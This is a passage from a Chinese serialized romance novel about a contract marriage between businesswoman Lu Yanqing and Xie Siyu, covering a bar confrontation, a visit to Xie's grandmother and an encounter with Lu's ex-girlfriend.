身体恢复是一方面,更主要的是,她实在不愿陆言卿再连续几晚留在医院陪床了。 这几天,陆家老宅的祖父祖母,甚至陆言卿的父母都亲自来医院探望过她。 反观谢家,却像彻底遗忘了她这个人,一次面都没露。 是不知情,还是觉得不值一提? 这件看似“微不足道”的小事,却让陆言卿敏锐地嗅到了异样。 谢思虞这个谢家养女,恐怕处境远不如表面风光。 两天后,一次偶然,彻底坐实了她的猜测。 晚上九点。 Blue Note 清吧。 陆言卿被钟晚意十几个夺命连环call轰炸,不得已抽身前来。 她刚走进略显昏暗的大堂,习惯性地朝常去的卡座方向走,却冷不丁听到了自己的名字。 脚步不由得慢了下来,停在了光影交错的暗处。 靠窗的卡座里,四五个年轻人围坐。 穿着红裙子的谢知瑤明显喝多了,脸颊酡红,眼神迷离,拽着旁边好友吴兰欣的胳膊,声音带着不甘的哭腔:“我爸就是偏心!就算轮不到我……凭什么让谢思虞嫁给陆言卿啊!” 吴兰欣欲言又止,把谢知瑤手里的威士忌换成青柠薄荷水,试图安抚:“瑤瑤,你冷静点。就算谢叔叔有心,那也得陆言卿自己点头才行啊。” Elis资金链的事她也有所耳闻,陆家是榕城首富,联姻确实能解谢家燃眉之急。 大家都在说谢思虞运气好,却没人深想:那么多世家千金的资料送到陆言卿手里,她怎么就偏偏选了谢思虞? “你说这些有什么用?没看瑶瑶正难受吗?” 旁边的葉敏不耐烦地蹙眉。 在场众人就属她家世最弱,家里还有个处处壓她一头的姐姐,从小她就不受重视,此刻对谢知瑶的“委屈”格外有共鸣。 她讨厌的谢思虞,竟然一步登天成了人人艳羡的陆太太? 背地里酸几句怎么了? “谢思虞不过是个养女,哪比得上瑶瑶金贵?她能攀上陆家,都是因为背靠谢家!” 葉敏的语调尖刻。 谢知瑶脑袋晕乎乎的,但理智尚存,觉得这话听着顺耳,连连点头:“就是!她谢思虞算什么东西?” 葉敏越说越来劲,带着恶意的揣测:“陆言卿脾气再好,能忍得了自己老婆心里装着别人?我打赌,不出半年,陆言卿就会跟谢思虞离婚!” 吴兰欣听得直皱眉,刚想制止,却见其他人也跟着附和议论起来,顿感无趣,索性放下酒杯想出去透口气。 一抬眼,猛地看见不远处静静站着的陆言卿,惊得她瞬间瞪大了眼睛,倒吸一口凉气。 陆言卿确实动怒了。 一股无名的火气从心底窜起。 谢思虞是她刚领证不久,法律意义上的妻子。听着这些人在公共场合肆无忌惮地编排、羞辱她,那双总是温润含笑的眼眸,此刻沉静得如同结了冰的湖面,冰冷至极。 “葉敏!闭嘴!” 吴兰欣压低声音,厉声呵斥还在喋喋不休的叶敏。 卡座上的其他人顺着吴兰欣不安的目光看去,也发现了陆言卿的存在。 刚才还喧闹的气氛瞬间冻结,几个人僵在原地,连呼吸都屏住了,活像一群被掐住脖子的鹌鹑。 叶敏回头看清来人后,脸上的血色“唰”一下褪得干干净净,身体不受控制地抖了起来。 她几乎是弹起来的,声音抖得不成样子:“陆、陆总……对不起,我,我不是那个意思……” 钟晚意在包间等得心急,出来寻人,远远看见陆言卿的背影。 她快步走近,刚要打招呼,就被眼前这诡异而紧绷的一幕噎了回去。 陆言卿周身散发的低气压,是她从未见过的。 陆言卿目光落在叶敏惨白的脸上,她的声音清冽,甚至比平时更平稳,一字一句却砸得人心头发颤:“叶小姐?” 那微微上扬的尾音,透着一丝令人胆寒的讥诮。 “你说……谢思虞配不上我?” 她向前踏了半步,无形的压迫感瞬间笼罩了整个卡座。 红唇轻启,吐出的每个字都清晰无比:“那么,在你看来,谁配?” 视线在叶敏僵硬的脸上停留片刻,唇角勾起一个毫无温度的弧度:“你吗?” 不等叶敏反应,那冰冷的目光已将她从头到脚审视了一遍,带着毫不掩饰的轻蔑:“且不论家世背景这种生来注定的东西,单说——” “容貌、学识、涵养……” 陆言卿刻意停顿了一下,“叶小姐在大庭广众之下毫无凭据地诋毁他人、嚼舌根,这就是你所谓的‘教养’?” “轰——” 叶敏只觉得脑子一片空白,脸上火辣辣的,仿佛被当众狠狠抽了几十个耳光。 陆言卿那句“毫无教养”像烧红的烙铁,将她烧的体无完肤。 垂在身侧的手死死攥紧,指甲深深掐进掌心,身体摇摇欲坠,几乎站立不住,巨大的羞耻和恐惧让她恨不得立刻原地消失。 钟晚意看得心惊肉跳。 她太了解陆言卿了,这人就算动怒也向来克制,给人留三分薄面。 今天这是怎么了? 竟然当众把话说得这么重,这么绝? 谢知瑶摇摇晃晃站起身,见叶敏都哭了,心里头憋着一股火,看向陆言卿,“陆总,我们也没说谢思虞什么,你有必要说话这么难听吗?” 陆言卿轻嗤:“谢小姐觉得我说话难听?当真是刀子没落到自己脚上,不知道痛。” 谢知瑶被陆言卿那句“刀子没落自己脚上”堵得脸色发青,哑口无言,眼睁睁看着叶敏捂着脸哭着冲出了卡座。 “行了,差不多得了,里面一屋子人等你呢。” 钟晚意上前扯了扯陆言卿的袖子,压低声音劝道。 都是圈子里抬头不见低头见的人,闹太僵对谁都不好看。 陆言卿拂开钟晚意的手,眉眼间还凝着未散的冷意,哪里还有半分赴约的心情? “你们玩吧,我先回了。” 钟晚意看着她的背影:“……” 得,这火气还蔓延到她这儿了。 无奈地叹了口气,探究的目光转向旁边一脸复杂的吴兰欣。 虽然只听了个大概,但陆言卿这罕见的雷霆之怒,铁定是跟她那位新婚的小妻子脱不了干系了。 半个多小时后。 指纹锁发出轻微的“嘀”声,公寓门应声而开。 陆言卿走进玄关,弯腰换鞋,目光扫过鞋柜,视线蓦地顿住——那里安静地摆放着一双不属于她的平底单鞋。 这才后知后觉想起:谢思虞如今住在她的公寓里。 这是祖母的意思。 老人家不放心谢思虞刚出院就一个人住,怕她身体再出状况没人照应,一句“反正你们已经是妻妻了”,就把人打包塞进了她这间华晨里的公寓。 “卿卿回来了?” 轻柔的声音从阳台方向传来。 陆言卿循声望去,只见谢思虞正从阳台走进客厅。 她穿着宽松柔软的白色卫衣和灰色休闲裤,头发半干,带着沐浴后的清新水汽,几缕湿漉漉的发梢还贴在白皙的颈侧。 “嗯。” 陆言卿应了一声,换好拖鞋走进餐厅。 脑海里不受控制地闪过清吧里那些刺耳的议论,目光落在谢思虞干净温和的脸上,一时有些复杂。 她拿起桌上的玻璃水壶想倒水,却发现壶是空的。 谢思虞昨天出院,今天按祖母的要求在家休整了一天,明天无论如何也得去上班了。 她见陆言卿欲言又止的模样,于是轻声问:“卿卿……是不是有什么事想问我?” 陆言卿转过身背靠着餐台,目光落在谢思虞带着询问的眼睛上,决定开门见山。 毕竟,陆谢两家因联姻而起的合作(祖父承诺让Elis进驻双栖云境)已经启动,未来只会牵扯更多利益。 她需要知道谢思虞对谢家的真实态度。 “你和谢知瑶……” 陆言卿顿了顿,观察着谢思虞的面部表情,尽量委婉的询问,“关系是不是不太好?” 谢思虞显然没料到她会问这个,微微一怔,随即一抹极浅的苦笑在唇边漾开。 没有立刻回答,而是走到陆言卿身边,拿起餐桌上的空水壶,转身去厨房的净水器接水。 水流声哗哗地响起,填满了短暂的沉默。 “谈不上好或不好。” 谢思虞的声音在水流声中显得格外平静,短短时间内想了很多,陆言卿不会无缘无故询问这个问题,大概是发生了什么。 最后决定坦白:“我和谢知瑶是同父异母的姐妹,这些年谢明远尽了基本的抚养义务,供我读书,物质上从不短缺。从这方面看,他们对我……算是不错?” 很快,她关掉水龙头,端着接满水的水壶走回餐厅。 抬起眼,目光坦然地迎向陆言卿:“至于谢知瑶,她从小就是家里的明珠,是名正言顺的谢家小姐。她对我有些……意难平,觉得我分走了本该属于她的关注,甚至是一些机会。” 拿起陆言卿刚刚放下的那个空玻璃杯,往里注满清澈的温水,然后轻轻推到陆言卿面前,动作自然得像做过无数次。 “所以,谈不上好或不好。” 谢思虞的声音温和,冲陆言卿笑笑,“大家维持表面的客气,各自安好,就够了。” 她的眼神清澈,没有怨怼,只有淡淡的疏离。 陆言卿静静听着,看着谢思虞平静地讲述这些,看着她为自己倒水时自然流露的体贴,心底那点因外人嚼舌而起的烦躁,不知不觉被一种更复杂、更柔软的情绪取代。 确实没想到谢思虞竟然是谢明远的亲生女儿。 端起那杯温水,指尖传来恰到好处的暖意。 她喝了一口,温热的水流滑过喉咙,似乎也熨帖了心绪。 “明白了。” 陆言卿的声音恢复了平日的温润,“以后,不必在意他们。” 低垂的眸光微闪,似乎在斟酌用词,最终,清晰地吐出几个字:“我们才是一家人。” “至少在我们结婚期间是。” 第93章 if线-如果没有穿越时空3 我不是什…… 次日清晨, 晨光透过薄纱窗帘洒进房间。 陸言卿洗漱完毕,换好利落的通勤装走出主臥。 经过次臥时发现房门虚掩着,里面静悄悄的。 她下意识看了眼腕表:7:10。 从华晨里开车到鑫铭电器大约半小时, 她应该还没这么早出门? “大小姐, 您起来了?” 半开放式厨房里传来陳阿姨溫和的声音。她一个小时前就到了公寓, 此刻正将熱气腾腾的早餐摆上桌。 “太太下樓晨跑去了,算算时间,应该快回来了。” 见陸言卿停在次卧门口, 陳阿姨笑着解释道。 “去晨跑了?” 陸言卿微微挑眉, 眼中掠过一丝了然,随即在餐桌前坐下, 端起陈阿姨刚榨好的果蔬汁,清甜微凉的口感让人精神一振。 陈阿姨站在桌邊,帶着点征询的意味:“我是按您平时的口味准备的早餐。这几天在医院照顾太太,她太客气了,三餐都没提过要求。今天我就多做了几样,想着让太太也尝尝。” 她说完指了指餐桌,晶莹剔透的水晶虾饺、金黄酥脆的香酥肉包、皮薄馅嫩的小馄饨、还有溫润的牛奶燕麦粥, 确实比平时丰盛许多。 “辛苦您了。” 陸言卿轻轻颔首。 这时“啪嗒”一声轻响, 玄关的门开了。 晨跑归来的謝思虞出现在门口, 她穿着一身宽松的浅灰色运动套装, 长发利落地束成高马尾,脸颊泛着运动后的健康红晕。 比起平日的溫婉端庄,此刻的她更添了几分青春活力和飒爽气息。 “阿姨早餐做好了, 先去洗漱一下,出来吃早餐吧。” 陆言卿提醒。 謝思虞昨天在公寓附近转了转,发现小区南面有个环境不错的公园, 今早的晨跑路线就定在了那里。 只是回程路上,她接到了一通来自養老院的电话。 外婆已经知道她结婚了,并且……想见见陆言卿。 “怎么了?” 陆言卿喝掉半杯果蔬汁,抬眼发现謝思虞还站在原地没动。 目光不经意扫过謝思虞交握在身前的双手,右手大拇指正无意识地掐着左手虎口处的软肉,指节都有些泛白了。 她微微蹙起眉。 谢思虞像是被这声询问惊醒了,猛地抬起头,对上陆言卿帶着探询的视线。 她张了张嘴,声音帶着晨跑后的微哑,更透着一丝不易察觉的紧张和小心翼翼的恳求:“卿卿,我外婆她……她知道我们结婚的事,想见见你。今天下午你能不能……跟我去一趟養老院?” 话音刚落,她似乎才意识到自己掐手的动作被发现了,慌忙把手背到了身后。 陆言卿看着谢思虞这副明显紧张过度的样子,心里有些好笑,又莫名地软了一下。 放下玻璃杯,指尖在光滑的杯壁上轻轻摩挲着,語气放得比平时更轻更缓:“谢思虞。” 她叫她的名字,目光温和而直接,“我不是什么洪水猛兽,也不是不讲道理的人。有事,你直接跟我说就好,不需要这样。” 很快又给出承诺:“下午去见外婆,没问题。只是集团还有些事,我不确定几点能结束。” “但我会尽量早点结束工作,然后陪你去養老院。” 谢思虞整个人都愣住了。 先是错愕——她没想到陆言卿会直接跟她说‘不用怕她’这样的话。 接着是铺天盖地的无措,自己刚才那点小心思和小动作,在陆言卿平和的目光下无所遁形,显得那么幼稚。 最后,所有翻腾的情绪,都被陆言卿那句“陪你去養老院”压下去了。 自从和陆言卿协议结婚以来,她一直如履薄冰,小心翼翼,生怕自己哪里做得不够好,惹得对方不喜。 可直到这一刻,她才猛然想起,陆言卿本身就是一个非常非常温柔的人。 她有着良好的教养和强大的内核,不会轻易动怒,更不会迁怒于人。 更习惯于理性的解决问题。 而她想要打破彼此之间的邊界感,或许就像陆言卿刚才说的那样。 坦然地,直接地表达自己的需求。 “……好。” 谢思虞终于找回了自己的声音,接下来说的那声“谢谢”里,带着卸下重担的轻松,和一丝隐秘的欢喜。 四十分钟后。 陆言卿一到办公室,就让魏潔把下午的会议全挪到上午。 午飯快一点才吃,只歇了二十分钟就又扎进工作里。 饶是这样,也一直忙到将近六点才收尾。 “通知市场部,明早九点开会。” 陆言卿把招商计划书递给魏洁,关掉电脑,抓起手机和包就往外走。 想起什么又折回来,拿上给老人家准备的礼物。 电梯下行,她掏出手机给谢思虞发消息。 【我这忙完了,需要去接你吗?还是你把养老院地址发我?】 那边回得飞快。 【结束了?我在陆氏负一樓停车场,好像是C区。】 陆言卿看着屏幕,眼神动了动,没多问,把手机收进包里。 负一楼停车场。 远远看见一辆打着双闪的车,陆言卿绕过第四根承重柱,熟悉的宾利映入眼帘。 正是领证那天,她给谢思虞开的那辆。 “等很久了?” 陆言卿先把礼物放进后备箱,才拉开副驾门坐进去,一股淡淡的橙花香飘过来。 驾驶座上的谢思虞脱了外套,只穿了件长袖衬衫,配着深灰色A字裙,低低扎着马尾,整个人温婉又舒服。 谢思虞摇摇头:“没等多久,我从公司直接过来的。” 陆言卿没再追问这个,只是说:“下次来集团这边,直接打我电话。” 谢思虞莞尔一笑,探身从后座拎过来一个纸袋,里面是一杯熱乎乎的茉莉奶绿,还有几块金黄的蝴蝶酥。 “我们公司楼下超火的店,卿卿想尝尝吗?” 她把袋子递过来,語气里带着点小小的期待。 陆言卿伸手接过:“好啊。” 正好也要到飯点了,没有询问谢思虞为什么她的外婆要住在养老院,而是认真的提议,“第一次见外婆,需要预定餐厅,我们一起吃顿飯?” 谢思虞等陆言卿系好安全带,启动引擎出发,没有设置导航,因为去养老院的路她再熟悉不过。 “外婆已经吃过晚饭了,她知道我们要去看望她,特别的开心,还多吃了半碗饭。” 谢思虞打左转向灯,慢慢加快车速,离开地下停车场。 大厦外,夕阳的余晖悄然洒进车内。 “还有几天就是清明节,到时候如果卿卿能空出时间,我们再陪外婆吃饭。” 每年的清明节,她都会请假。 大清早就赶到养老院接外婆,然后她们一起去墓地祭拜母亲。 “好。” 清明是怎样的节日。 陆言卿自然清楚,能让谢思虞和老人家祭拜的人,想来是谢思虞的生母。 前往养老院的路程中。 谢思虞提起外婆住在养老院的原因,原来老人家身体一直不好,又怕给“寄人篱下”的外孙女带去麻烦,才强烈提出要住养老院。 “我工作后买了套小房子,想接外婆回来住,她不肯。” 谢思虞目视前方,语气努力维持着平静,“她说养老院熱闹,有专人照顾,还能跟老姐妹们聊天解闷。” 然而真正的原因。 不过是不想拖累她罢了。 谢思虞深呼吸一口气,握着方向盘的手指微微收紧。 陆言卿捧着那杯温热的茉莉奶绿,杯壁暖着掌心,安静地听着。 直到敏锐地捕捉到谢思虞稍重的呼吸声,才适时开口,声音温和:“只要外婆身体安康,顺着她的心意也好,工作之余多去养老院探望就好。” 毕竟是谢思虞的家事,她点到即止,没再多言。 榕城靠近高速公路入口处,坐落着一家环境清幽的养老院,院内绿植环绕,健身设施完善。 陆言卿跟在谢思虞身后,来到一间敞着门的活动室门口。 里面人声鼎沸,热闹的谈笑声清晰可闻。 “卿卿,你在这里等我一下,我去叫外婆出来。” 谢思虞轻声说完,便快步走了进去。 不过两分钟,她就搀扶着一位头发花白的老人走了出来。 老人穿着干净整潔的衣裳,布满岁月痕迹的脸上洋溢着和蔼又热情的笑容,目光一下子就锁定了陆言卿,步履稍快地迎上来:“哎呀,你就是小鱼说的卿卿吧?好孩子,长得可真漂亮!” 老人家直白的夸赞,让陆言卿耳根微微发热,她露出落落大方的笑容,礼貌问候:“外婆您好,我是陆言卿。” “外婆,这儿人多有点吵,我们去您房间里说话好不好?” 谢思虞亲昵地挽着老人的手臂,轻轻晃了晃。 她第一次带陆言卿来,深知活动室里那群老奶奶的热情劲儿,生怕等会儿大家围上来七嘴八舌地问东问西,让陆言卿不自在。 “好好好,我们回房间说。” 李姜珍高兴地拍了拍外孙女的手背,也握住陆言卿的手往右侧的楼梯间走去。 回到房间后,老人又拿出水果和零食让陆言卿吃。 整整两个小时,陆言卿温柔又耐心地陪老人说话,称得上知无不言,言无不尽。 只有一点。 她和谢思虞协议结婚,三年后离的事情,她只字未提。 离开养老院,两人找了一家餐厅吃饭,却遇到了不速之客。 谢思虞认识苏蔓的,她是陆言卿的前女友。 第94章 if线-如果没有穿越时空4 她恰恰是…… 榕城有名的西餐廳halo, 通常需要提前预约。 但陸言卿是这里的VIP客户,随时来都有位置。 餐廳环境雅致,每两张餐桌间都用精致的屏风隔开, 私密性尚可。 陸言卿和謝思虞剛点完餐, 正等着上菜, 一位不速之客出现。 蘇蔓进入娱乐圈剛满一年,虽然接了几部戏,但都是些不起眼的配角, 名气还不算大。 不过出现在公众场合, 她还是习惯性地戴着口罩。 今晚她穿着一件V领荷叶袖连衣裙,棕褐色的卷发用絲带鬆鬆垮垮地系着, 身段玲珑有致,透着一股别样的风情。 “卿卿,你为什么不接我的电话?” 能在餐廳偶遇陸言卿,蘇蔓也颇感意外,几乎没多想就快步走了过来。 她完全无视了坐在陸言卿对面的謝思虞,嗓音里带着刻意放软的委屈。 陆言卿的眼神平静无波,甚至透着一絲疏離:“我为什么要接你的电话?” 从她在商场亲眼目睹蘇蔓和别人亲昵地挽着手的那一刻起, 她们之间就彻底结束了。 “我们早就分手了。蘇小姐, 请離开, 我和我的妻子正在用餐。” 自始至终, 謝思虞都低垂着眼帘,双手捧着玻璃杯,里面的青柠百香果汁不知何时已被她喝得一滴不剩。 也能清晰感觉到苏蔓投向自己的目光带着审视和不善, 下意识地抿緊了唇瓣,深吸一口气站起身:“我去趟洗手间。” 她只是陆言卿名义上的妻子,这种前任找上门的尴尬时刻, 她理应识趣地回避,把空间留给她们。 可喉咙里却像堵着一团浸了水的棉花,闷得发慌。 然而就在她经过陆言卿身边时,一只手忽然伸过来,穩穩地握住了她的手腕。 “不用回避。” 陆言卿的声音不高,带着不容置疑的口吻,“我和她没什么可聊的。” 握住謝思虞的手,顺势将她拉回,让她坐在了自己旁边的沙发座上。 陆言卿微微挑眉,重新看向脸色难看的苏蔓,目光深邃幽暗:“苏小姐是觉得电话里说分手不够正式?还是觉得……我那天在商场看到的,是误会?” “误会”两个字,被她咬得格外重。 当然不是误会。 苏蔓心知肚明,她就是在和陆言卿交往期间,没能抵挡住另一个能给她带来资源的人的诱惑,有了越界的行为。 哪怕是被这样委婉地戳穿,她也觉得脸上火辣辣的,攥緊了手中包包的金属链条,咬牙道:“是……是我的错。我不奢求你原谅。” 再次看向陆言卿的眼神复杂极了,混杂着懊悔、不甘,还有一丝残留的迷恋。 她確实喜欢陆言卿,但她更想要触手可及的名利,想在娱乐圈站稳脚跟。 “卿卿……我们,是不是连朋友都没得做了?” “是。” 陆言卿的回答没有丝毫犹豫,斩钉截铁。 不喜欢了可以提分手,这是基本的尊重。 而不是一边享受着她的好,一边背地里和别人纠缠,把她当傻子耍弄。 谢思虞被拉回坐下后,陆言卿的手并没有松开,依旧覆在她的手腕上。 这亲密的姿态让谢思虞的心不受控制地乱跳起来。 可她又忍不住想:这是为了气苏蔓吗? 一旦有了这样的念头,就再也控制不住。 一时间,好像有细细密密的小刺狠狠扎在她的心上。 很疼。 不容忽视。 卿卿心里还是在意苏蔓的吧? 即便对方背叛了她。 话说到这份上。 苏蔓哪里还有脸待下去? 只能失魂落魄地匆匆离开。 人一走,陆言卿便松开了谢思虞的手腕。 注意到她有些心不在焉,正想开口解释,餐厅的服务员推着小车过来了,开始上菜。 香气扑鼻的松露鹅肝、煎得恰到好处的香草羊排、还有清爽的芦笋沙拉。 “我和苏蔓的事早翻篇了。” 陆言卿拿起银勺,搅动着碗里的奶油蘑菇汤,语气輕松自然,是真的不在意,“以后要是听到什么闲言碎语,不用往心里去,更别在意。” 话刚说完,她自己就愣了下。 其实她没必要跟谢思虞解释这些。 毕竟她们之间,只是一纸协议的关系。 谢思虞已经默默坐回了餐桌对面,一手执叉,一手握刀,正低头专注地切着盘子里的牛排。 听到陆言卿的解释,她只是很轻地“嗯”了一声:“我知道的。” 两人都默契地不再提这个话题。 想到陆言卿在养老院的耐心配合,谢思虞端起右手边的香槟杯,朝她举了举:“外婆年纪大了,话有点多,今晚……谢谢你。” 陆言卿也端起酒杯,輕輕碰了碰她的杯沿,目光坦然直接:“不用谢。协议里写了,必要时配合应付双方长辈,这是应該的。” 应該的。 这三个字像小石子砸在谢思虞心上,握着酒杯的手指几不可察地蜷缩了一下。 原来如此。 原来陆言卿陪她去看外婆,只是因为协议条款。 一股难以言喻的涩意毫无预兆地从心底翻涌上来,堵得她喉咙发緊。 她慌忙低头喝了一大口香槟,冰凉的液体滑过喉咙,试图压下眼底涌上的酸涩和失落。 陆言卿看着谢思虞低垂的眉眼和略显急促的动作,抿了抿唇。 那句“其实我不讨厌和外婆聊天”到了嘴边,最终还是咽了回去。 现在说这个,似乎有点多余。 她也端起自己的酒杯,浅浅抿了一口。 接下来,餐桌上只剩下餐具轻碰的细微声响,空气里弥漫着一种微妙的安静。 直到用餐接近尾声。 一位笑容甜美的服务员端着托盘走过来,热情地推销:“两位女士晚上好,主厨新研发了一款花生芝士布丁,口感非常独特,要不要试试看?” “抱歉,不需要。” 谢思虞几乎是立刻出声拒绝,甚至有些紧张,“我妻子对花生过敏。” 话一出口,她才意识到自己说了什么,心脏骤然一缩。 有些僵硬地扭过头,果然对上了陆言卿带着探究意味的目光。 谢思虞下意识攥紧了手中的餐巾,声音不自觉地低下去,带着点无措:“我……我听陆爷爷提过,你对花生过敏,就记下了。” 其实根本不是陆爷爷说的。 是当年……陆言卿不小心拿错她的水杯,喝了里面的花生牛奶。 结果过敏休克,被紧急送医抢救,在医院住了好几天。 当年她是没机会跟陆言卿道歉,如今,她是不敢坦言。 她怕陆言卿知道‘真相’后,会讨厌她,会连这纸协议带来的短暂婚姻都会失去。 陆言卿倒是没怎么在意,只是见谢思虞骤然紧张起来的样子,还有那微微泛白的指关节,心里確实掠过一丝意外。 她对花生过敏,亲近的朋友和常去的餐厅经理都知道,刚前来推销甜品的服务员可能是新来的。 她好奇的是谢思虞的反应,那种近乎本能的急切拒绝,以及此刻掩饰不住的紧张和……慌乱? 似乎有点过于在意了。 “爷爷就喜欢小题大做。” 陆言卿半开玩笑地接了句,算是给谢思虞递了个台阶,随即自然地岔开话题,“他们家别的甜品也不错,想试试吗?” 谢思虞轻轻摇头:“不用了。” 她本来也不太爱吃甜的。 陆言卿没再勉强,结了账,离开餐厅。 回程她主动提出开车,两人回到华晨里的公寓,已是深夜11:25分。 客房里。 谢思虞洗漱完躺下,翻来覆去怎么也睡不着。 脑海里像走马灯似的,一会儿是苏蔓红着眼眶对陆言卿软语相求的模样,一会儿又是陆言卿在餐厅握住她手腕的温度和力度。 嗡—— 枕头下的手机轻轻一震。 谢思虞摸出来解锁,是好友沈砚清发来的微信。 【睡了吗?今天陆总陪你去看了外婆,老人家该放心了吧?】 想了想回了个模棱两可的答案。 【大概能打消外婆的顾虑吧?】 【我也不太确定。】 屏幕那头沈砚清收到回复,直接一个语音通话拨了过来。 电话接通,对方懒洋洋的嗓音响起:“外婆就是太担心你了。现在人都见着了,短时间内应该不会起疑。” 谢思虞撑着胳膊坐起身,随手捞过一个软枕抱在怀里,下巴抵着柔软的枕面。 电话那头是熟悉的闺蜜,她犹豫片刻,还是把晚上餐厅里发生的事,包括苏蔓的出现和陆言卿的反应,都说了出来。 “砚清。” 谢思虞声音闷闷的,带着一丝自我怀疑的迷茫,“你说,我是不是……越来越贪心了?” 最开始,她所求的,不过是能成为陆言卿名义上的妻子。 可现在,她想要的……好像越来越多了。 【啧,这有什么不正常的?】 沈砚清的声音在寂静的夜里格外清晰,带着笃定的安抚。 【你现在跟陆言卿住一个屋檐下,天天抬头不见低头见,日子长了,谁知道呢?说不定哪天她就对你动心了呢?】 沈砚清说到最后,嗓音中带着点鼓励的笑意。 【思虞,你要对自己有信心!】 【实在不行,咱就用美人计。】 谢思虞抿了抿唇,自动忽略好友说的最后一句玩笑话,要知道陆言卿身边从不缺乏美女。 她在她眼中,估计也没什么特别的。 只是此刻的谢思虞还不知道。 在陆言卿的眼中,她恰恰是有一份“特别”的。 正是这份不同,才让陆言卿在祖父提出联姻要求时,最终选择了她。 当然,这些都是后话了。 第95章 if线-如果没有穿越时空5 说我老婆…… 陸氏集团旗下的《双栖云境购物中心》在榕城有两家分店。 西郊店目前正在紧锣密鼓地装修中, 双子塔顶楼由一条长廊相连,陸言卿想在长廊上打造一条悬浮绿化帶。 通风口的设计是需要攻克的难题之一。 设计部已经提交了一份相当完善的图纸,但她想要追求精益求精。 为此, 她这一周都是早出晚归。 即便和謝思虞同住一个屋檐下, 两人也几乎没打过照面。 进入四月, 榕城渐渐回暖。 今天风和日丽,夜晚的星空也格外清澈明亮。 深夜11:15分。 陸言卿打开公寓门,意外发现餐厅的灯还亮着。 她眼底眸光微动, 换了鞋, 径直朝光源走去。 果然。 餐桌上笔记本電脑屏幕幽幽亮着,映着PPT文档的页面, 旁邊还散落着几份文件。 桌前坐着的人,不是謝思虞还能是谁? “卿卿,你回来了?” 謝思虞闻声抬头,脸上帶着一丝被发现的局促,“肚子饿嗎?要不要吃点馄飩?” 她站起身,厨房電磁炉上,一口不锈钢小锅正咕嘟咕嘟地翻滚着沸水。 “下午市场部开会, 我们组被留下来讨论方案, 晚饭在公司解决的。这会儿有点饿, 就……包了点馄飩。” 謝思虞走向灶台, 像是解釋自己为什么深夜还在厨房忙碌,也像是在解釋为什么这么晚还“恰好”在餐厅。 当然,更深层的原因, 是她想见陸言卿。 一个星期没怎么碰面,她有点想她了。 “可以尝尝,少煮几个就好, 我不太饿。” 陆言卿拉开餐椅坐下。 这个点她通常不吃东西。 目光不经意掠过谢思虞的電脑屏幕,似乎是某个线下活动的策划案。 “好,很快,五分鐘就好。” 锅里的水正沸腾,谢思虞将小巧玲珑的馄饨轻轻拨入水中。 陆言卿单手支着下巴,视线随意扫过客厅。 茶几上的玻璃花瓶里,几支洁白的铃兰亭亭玉立,细长的花茎托着铃铛般的花朵,散发着清雅的香气。 她看了几秒收回目光,落在餐桌上那个粉色的陶瓷杯上,杯身上印着憨态可掬的猫咪图案。 其实不止这些。 这几天回到公寓,她总能捕捉到一些新的痕迹:沙发上随意搭着的西装外套,玄关鞋柜上方墙壁多出的挂包钩,餐桌上帶着毛绒挂件的钥匙扣…… 不知不觉间,这个空间里,另一个人的存在感正悄然渗透。 谢思虞留下的物品,像无声的宣告,一点点侵入了她原本界限分明的私人领域。 陆言卿微微挑眉,目光再次投向厨房。 谢思虞背对着她,穿着柔软的家居服——一件宽松的针织长衫,一条舒适的直筒西装裤。 长发松松挽起,几缕碎发垂在颈邊。 她本人几乎不下厨。 家里的厨房,通常是阿姨的领地。 但此刻,她的“妻子”正站在那儿,为她,或者说也为她自己,煮着一碗宵夜。 这种感觉……有点微妙。 但陆言卿不得不承認,她并不讨厌。 “好了。” 谢思虞将煮好的馄饨捞进碗里,捻起几粒翠绿的葱花撒上,小心地端到陆言卿面前,“小心烫。” 小巧的馄饨在清亮的汤里浮沉。 陆言卿拿起勺子轻轻搅动,舀起一个吹了吹,待温度适宜才送入口中。 皮薄,馅料鲜香,汤底里加了少许紫菜提鲜:“嗯,很好吃。” 谢思虞在她对面坐下,听到这句简单的肯定,眼底的笑意像投入石子的湖面,一圈圈漾开。 吃到一半,陆言卿温润的声音再次响起,打破了餐桌上的宁静:“两天后的清明节,我把时间空出来了。” 谢思虞握着勺子的手一顿,抬起头,眼中先是闪过一丝惊讶,随即连忙摆手:“不用麻烦的,到时候我跟外婆解释一下就好。” 她知道陆言卿有多忙。 如果仅仅是因为那份协议里的“配合义务”,真的不必如此。 “我已经答应外婆了。” 碗里还剩最后两个馄饨,陆言卿放下勺子,抬眸直视谢思虞,目光平静无波,“临时变卦,你不怕外婆起疑心嗎?” 谢思虞垂下眼帘,避开了那过于坦然的视线。 无意识地捏紧了勺柄,指尖微微用力,声音放得很轻:“外婆……她会理解的。” 她还在试图“说服”对方放弃。 “可我不想失信于老人家。” 陆言卿说完,便低下头,利落地吃完剩下的馄饨,端起碗径直走向厨房。 水流声哗哗响起,又很快停止。 两分鐘后,主卧的门轻轻合上。 餐厅里骤然安静下来,只剩下谢思虞一个人。 她依旧垂着头,维持着刚才的姿势,仿佛被定住了。 寂静的空气里,只余下她自己微不可察,帶着一丝哽咽的声音,低低地飘散开:“不去也没有关系的……”- 原以为要到清明节才能见到陆言卿,没想到第二天傍晚,她的电话就打了过来。 谢思虞接到电话时,正和组员们在会议室讨论着线下活动的方案细节。 【抱歉,是不是打扰你工作了?】 【如果不方便就算了,我会跟祖父解释。】 陆言卿温润的声音透过听筒传来。 “没有不方便,我马上下楼。” 谢思虞猛地站起身,办公椅的滑轮猝不及防划过地面,发出刺耳的刮擦声。 她这突如其来的举动,把旁邊两位组员吓了一跳。 “思虞姐,怎么了?” 穿着白衬衫的年轻女生文文,惊得瞪圆了眼睛,以为她遇到了什么突发状况。 旁邊的男同事也关切道:“主管,你要是有急事就赶紧去吧,剩下的细节我跟文文来敲定就行。” 谢思虞一边手忙脚乱地收拾桌上的资料和笔记本电脑,一边带着歉意的嗓音响起:“确实有急事,剩下的辛苦你们了。” 抱着笔记本走到会议室门口,她又想起什么,回头晃了晃手机,“晚餐我帮你们订好了。” 很快。 谢思虞来到鑫铭电器办公楼下。 拉开那辆熟悉的卡宴车门,坐进后排。 陆言卿也在里面。 “爷爷三天前就电话通知过我了,怪我最近太忙,给忘了。抱歉。” 陆言卿再次温言解释。 她也是半小时前接到司机电话,才猛然记起今晚要去参加一位长輩的八十寿宴。 谢思虞轻轻摇头:“没事的,现在本来就是下班时间。” 她这几天加班加点,是因为周末有个大型活动由他们组全权负责,必须确保万无一失。 低头看了眼自己身上简约的牛仔裤,她有些迟疑地侧头看向陆言卿:“去长輩的寿宴,穿这样怕是不太合适……要不要先回公寓换一下?” 